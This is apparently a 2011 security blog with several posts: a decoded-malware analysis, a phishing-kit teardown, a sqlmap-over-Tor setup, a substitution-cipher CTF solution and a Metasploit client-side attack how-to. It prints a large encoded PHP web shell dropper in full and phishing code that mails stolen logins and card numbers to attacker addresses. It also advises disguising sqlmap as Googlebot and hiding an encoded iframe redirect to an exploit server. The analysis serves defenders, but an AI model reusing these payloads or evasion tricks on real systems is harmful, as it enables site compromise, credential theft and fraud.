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')));   5: ?>

Again another base64 encoding this time gzip compressed also. There are many ways to uncompress and decode the data the easiest and fasted method it will be just to run the php code in a safe environment and pipe the contents to a file.

user@vm1$ php phpdecode.php > test

user@vm1$ file test

test: ASCII text, with very long lines, with CRLF, LF line terminators

So as expected the file is text and specifically html code. The results are the following:

The output is the familiar page of r57shell/c99shell.

In a summary what the exploit will do, it will try to create a backdoor page on the server with the name kanoodle_settings.php on a hidden directory under the name .fantasticodata, as for the attackers a Google search results in a couple of days it will give them the required access to the system.

hacked pages and spam

2011-04-17T16:12:00.001+03:00

Another day goes by another guy reports a hacked website. This time with new spam scripts. The vulnerable web site was running an old version of osCommerce and the attackers were quite a few in the last days. What was added to the site mainly was phising templates for AoL, BofA, and others. Interestingly there is a website referred to most of the scripts, the site is http://maroc-spam.net with really bad work on the web template there guys if you are making phising sites and you promote yours in there make a better work at least.

Looking at the AoL ( http://www.deventum.com/research/Aol.zip ) files we can find information about the card that they support on their phising, eg,

cards [0] = {name: "Visa",
             length: "13,16",
             prefixes: "4",
             checkdigit: true};
cards [1] = {name: "MasterCard",
             length: "16",
             prefixes: "51,52,53,54,55",
             checkdigit: true};
cards [2] = {name: "DinersClub",
             length: "14,16",
             prefixes: "300,301,302,303,304,305,36,38,55",
             checkdigit: true};
cards [3] = {name: "CarteBlanche",
             length: "14",
             prefixes: "300,301,302,303,304,305,36,38",
             checkdigit: true};
cards [4] = {name: "AmEx",
             length: "15",
             prefixes: "34,37",
             checkdigit: true};
cards [5] = {name: "Discover",
             length: "16",
             prefixes: "6011,650",
             checkdigit: true};
cards [6] = {name: "JCB",
             length: "15,16",
             prefixes: "3,1800,2131",
             checkdigit: true};
cards [7] = {name: "enRoute",
             length: "15",
             prefixes: "2014,2149",
             checkdigit: true};
cards [8] = {name: "Solo",
             length: "16,18,19",
             prefixes: "6334, 6767",
             checkdigit: true};
cards [9] = {name: "Switch",
             length: "16,18,19",
             prefixes: "4903,4905,4911,4936,564182,633110,6333,6759",
             checkdigit: true};
cards [10] = {name: "Maestro",
             length: "16,18",
             prefixes: "5020,6",
             checkdigit: true};
cards [11] = {name: "VisaElectron",
             length: "16",
             prefixes: "417500,4917,4913",
             checkdigit: true};

Only one file is encoded using base64 encoding and the decoded output contains, the mail where the information are sent, this is defined as : $mail ="golobaz@voila.fr";

Another directory with the name www.poste.it has phising information about poste.it website. Again there is only one encoded file containing information about the recipient of the details gathered,

$usip = $_SERVER['REMOTE_ADDR'];
$mail = "golobaz@voila.fr";
$subj = "Posteitaliane Utente ";

An interesting script that seems to be specifically created for osCommerce applications since it’s gathering data from configuration files and database is Thumbs.db.php, ( http://www.deventum.com/research/Thumbs.db.php.gz )

More scripts, slq.php file, ( http://www.deventum.com/research/slq.php.gz ) is an interface for mysql or as it’s described “MySQL Interface (Developed By Mohajer22)” with embedded username and password set to :

$PASSWORD = "root_xhahax";
$USERNAME = "xhahax";

Another php web shell “ Web Shell by oRb” under the name of account_manage.php that it is a modified version of c99 shell scripts with a slightly better interface.

The usual scripts for mass mailing, this time “ Made By Mo$`Craci|a` “ , one more backdoor on the site with the name cookie_usage.php that enables an attacker to post a crafted request and login as administrator on the system.

The Bofa, “Bank of America” phising template is sending the information gathered to the following address,

$send="latesayee800@blumail.org";
$subject = "Fresh BOFA Rezult | $user | $ip";
$headers = "From: alsa7r >";

Also inside style.css we have

<?
$IP = 'm4rk0l30p4rd@yahoo.com,m4rk0l30p4rd@hotmail.com';
?>

And finally a phising template for www.caisse-epargne.fr which under confirm_fichiers/ScriptResource_013.axd again on base64 encoding contains the following:

$message = "-----------------------------------------\n";
$message .= "--------------+ Login Info +-------------\n";
$message .= "-----------------------------------------\n";
$message .= "Nom complet : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbPrenom']." ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbNom']."\n";
$message .= "Identifiant Client : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbInternaute']."\n";
$message .= "Date de naiscance : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbDateNaissance']."\n"; include 'confirm_fichiers/ScriptResource_012.axd';
$message .= "Email : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCivilite$CC_sous_civilite_bloc$wzdCivilite$tbEmail']."\n";
$message .= "-----------------------------------------\n";
$message .= "Adresse : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCoordonneesPostales$CC_sous_coordonnees_postales_bloc$wzdCoordonneesPostales$tbAdresse']."\n";
$message .= "ville : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCoordonneesPostales$CC_sous_coordonnees_postales_bloc$wzdCoordonneesPostales$tbVille']."\n";
$message .= "code postal : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCoordonneesPostales$CC_sous_coordonnees_postales_bloc$wzdCoordonneesPostales$tbCP']."\n";
$message .= "-----------------------------------------\n";
$message .= "CC number : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCallBack$CC_sous_call_back_bloc$wzdCallBack$tbTelephoneBureau']."\n";
$message .= "exp date : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCallBack$CC_sous_call_back_bloc$wzdCallBack$tbTelephoneMobile']."\n";
$message .= "cvv : ".$_POST['ctl09$CC_sous_ouv_direct_ecureuil$ccSousCallBack$CC_sous_call_back_bloc$wzdCallBack$tbTelephone']."\n";
$message .= "-----------------------------------------\n";
$message .= "--------------+ Made By REDHATTeam +------------\n";
$message .= "--------------+ Thnx My Redhatteam +------------\n";
$message .= "-----------------------------------------\n";

$send="golobaz@voila.fr";

$subject = "Bravo | $login";

$headers = "From: REdhatteam - maroc-spam.net";

mail($send,$subject,$message,$headers);

header("Location: https://www.caisse-epargne.fr/pauth.aspx?");

sqlmap and tor

2011-04-14T10:45:00.001+03:00

There is no better tool at the moment for blind SQL injection than sqlmap. If you don’t use it you should definitely have a look on it. With the latest additions sqlmap supports tor with a command line switch, –tor. Let’s proceed with an installation. My system is debian/ubuntu based but the installation is almost the same for any unix based distribution. Following the instructions, https://www.torproject.org/docs/debian.html.en#ubuntu ,

Add this line to your /etc/apt/sources.list file:

deb http://deb.torproject.org/torproject.org <DISTRIBUTION> main

where you put the codename of your distribution (i.e. lenny, sid, maverick or whatever it is) in place of <DISTRIBUTION>.

Then add the gpg key used to sign the packages by running the following commands at your command prompt:

gpg --keyserver keys.gnupg.net --recv 886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

Now refresh your sources and install Tor by running the following commands (as root) at your command prompt:

apt-get update
apt-get install tor tor-geoipdb

Start tor, with /etc/init.d/tor start and grab a copy of polito config file from https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf , rename or move the old file in /etc/polipo/config and use the configuration from the URL.Restart polipo with /etc/init.d/polipo restart.

Get sqlmap from the latest svn trunk using

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap

Now you can use sqlmap with –tor with the following command,

~/sqlmap# ./sqlmap.py -u http://URL/index.php?cata_id=1 --dump-all –tor --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" and your requests will appear like an anonymous google bot getting information from the website.

another ctf from novaha

2011-04-13T17:08:00.001+03:00

A crypto ctf this time from NoVA great group. This time the challenge was a to decipher a text. The give text was the following,

Cipher text:

NDJJE ETD’RF Y NTE ZYHF Y NUA PTUBF
KIYEUP’ UP WGF BWRFFW ATPPY NF Y NUA ZYP BTZF JYE

ETD ATW ZDJ TP ET’ XYVF
ETD NUA JUBARYVF
HUVHUP’ ETDR VYP YII TSFR WGF KIYVF

MF MUII MF MUII RTVH ETD
MF MUII MF MUII RTVH ETD

NDJJE ETD’RF Y ETDPA ZYP GYRJ ZYP
BGTDWUP’ UP WGF BWRFFW ATPPY WYHF TP WGF MTRIJ BTZF JYE
ETD ATW NITTJ TP ET’ XYVF
ETD NUA JUBARYVF
MYSUP’ ETDR NYPPFR YII TSFR WGF KIYVF

MF MUII MF MUII RTVH ETD
MF MUII MF MUII RTVH ETD

NDJJE ETD’RF YP TIJ ZYP KTTR ZYP
KIFYJUP’ MUWG ETDR FEFB ATPPY ZYHF ETD BTZF KFYVF BTZF JYE

ETD ATW ZDJ TP ETDR XYVF
ETD NUA JUBARYVF
BTZFNTJE NFWWFR KDW ETD NYVH UP ETDR KIYVF

MF MUII MF MUII RTVH ETD
MF MUII MF MUII RTVH ETD

The challenge this time was easy since at the website the author provided a lot of information about substitution ciphers and also a nice tool to measure the occurrences of each letter. The link for the tool is, http://novactf.org/challenges/challenge-march-2011/rubyscript/ and the output on the text above is the following,

[A => 15]       2.94%
[B => 13]       2.54%
[D => 30]       5.87%
[E => 35]       6.85%
[F => 53]       10.37%
[G => 8]        1.57%
[H => 12]       2.35%
[I => 36]       7.05%
[J => 20]       3.91%
[K => 8]        1.57%
[M => 27]       5.28%
[N => 15]       2.94%
[P => 29]       5.68%
[R => 26]       5.09%
[S => 3]        0.59%
[T => 58]       11.35%
[U => 31]       6.07%
[V => 19]       3.72%
[W => 18]       3.52%
[X => 3]        0.59%
[Y => 38]       7.44%
[Z => 14]       2.74%

From http://en.wikipedia.org/wiki/Letter_frequency. We can assume, based on the frequency of possible occurrences for a start, that letters T and or F on the cipher text are one of the following e, t, a, or o. Since the author of the challenge already describe that he kept punctuation and format of the original text we can try to substitute using sed T and F accordingly. I won’t take this long this was an easy challenge, there are not many common words in English that have 2 letters and the second is e. That comes by substituting F with e, also we have the pattern MF MUII MF MUII RTVH ETD the second word, MUII has 2 occurrences of the same letters at the end, we can look for that at, http://www.morewords.com . Keeping it sort,

will result on the following,

NuJJy youY Noy ZYke Y NiA PoiBe
KlYyiP WGe BWreeW AoPPY Ne Y NiA ZYP BoZe JYy

you AoW ZuJ oP yoce
you NiA JiBArYce
kickiPur cYP Yll oSer WGe KlYce

we will we will rock you
we will we will rock you

NuJJy youY youPA ZYP GYrJ ZYP
BGouWiP WGe BWreeW AoPPY WYke oP WGe worlJ BoZe JYy
you AoW NlooJ oP yoce
you NiA JiBArYce
wYSiPur NYPPer Yll oSer WGe KlYce

we will we will rock you
we will we will rock you

NuJJy youYP olJ ZYP Koor ZYP
KleYJiPWG your eyeB AoPPY ZYke you BoZe KeYce BoZe JYy

you AoW ZuJ oP your XYce
you NiA JiBArYce
BoZeNoJy NeWWer KuW you NYck iP your KlYce

we will we will rock you
we will we will rock you

I believe we don’t need more than that, we will rock you by Queen (http://www.lyrics007.com/Queen%20Lyrics/We%20Will%20Rock%20You%20Lyrics.html) .

Client site attack using java codebase trust

2011-04-07T21:40:00.001+03:00

Some times you have to play the bad guy card in order to achieve results. When XSS attacks are not helping you to redirect a victim to your exploit, during a pentest, a more indirect approach can do the trick. Using a normal legitimate URL to do your bits. The latest exploit module for java_codebase_trust from metasploit is ideal for such attacks. The setup, one domain, any dyndns service or simply a short/tiny url service. These days i prefer a normal domain name, dyndns services and tiny url addresses don't sound so legit for someone to trust. Another idea is a notification for newsletter removal, nobody likes unwanted newsletters, so a removal link is highly appreciated many times.

Our metasploit server, running on msfconsole with the following settings,

I prefer to use local port on 443 for the metasploit listener, since many firewalls won't even check if the traffic is actual https, they will just check the port number and allow the traffic. As for the payload the normal java meterpreter is sufficient and goes undetected on many antiviruses still now.

Adding a backdoor that will redirect a client from the website to the metasploit server can be done with the use of an iframe embedded on the actual html code of our site. Using an encoder also like, http://www.htmlguard.com/articles/wp-content/uploads/html-encryption.html we can encode our actual address to make it a bit harder on the first look to raise suspicion. In our case a redirect to the server with ip address 192.168.2.23 can be encoded ,

and from the options my favorite encoding is base64,

Adding html tags to the code, the following line can be inserted on any html/php file on our website.

What will happen is, that when some user will go to look on our website he will be redirected also with no warning or any other notice to the metasploit server running the java_codebase_trust exploit on ip address 192.168.2.23. If the client will be running a vulnerable java version we will have a meterpreter connection.

from exploit db to metasploit

2011-02-15T12:14:00.000+02:00

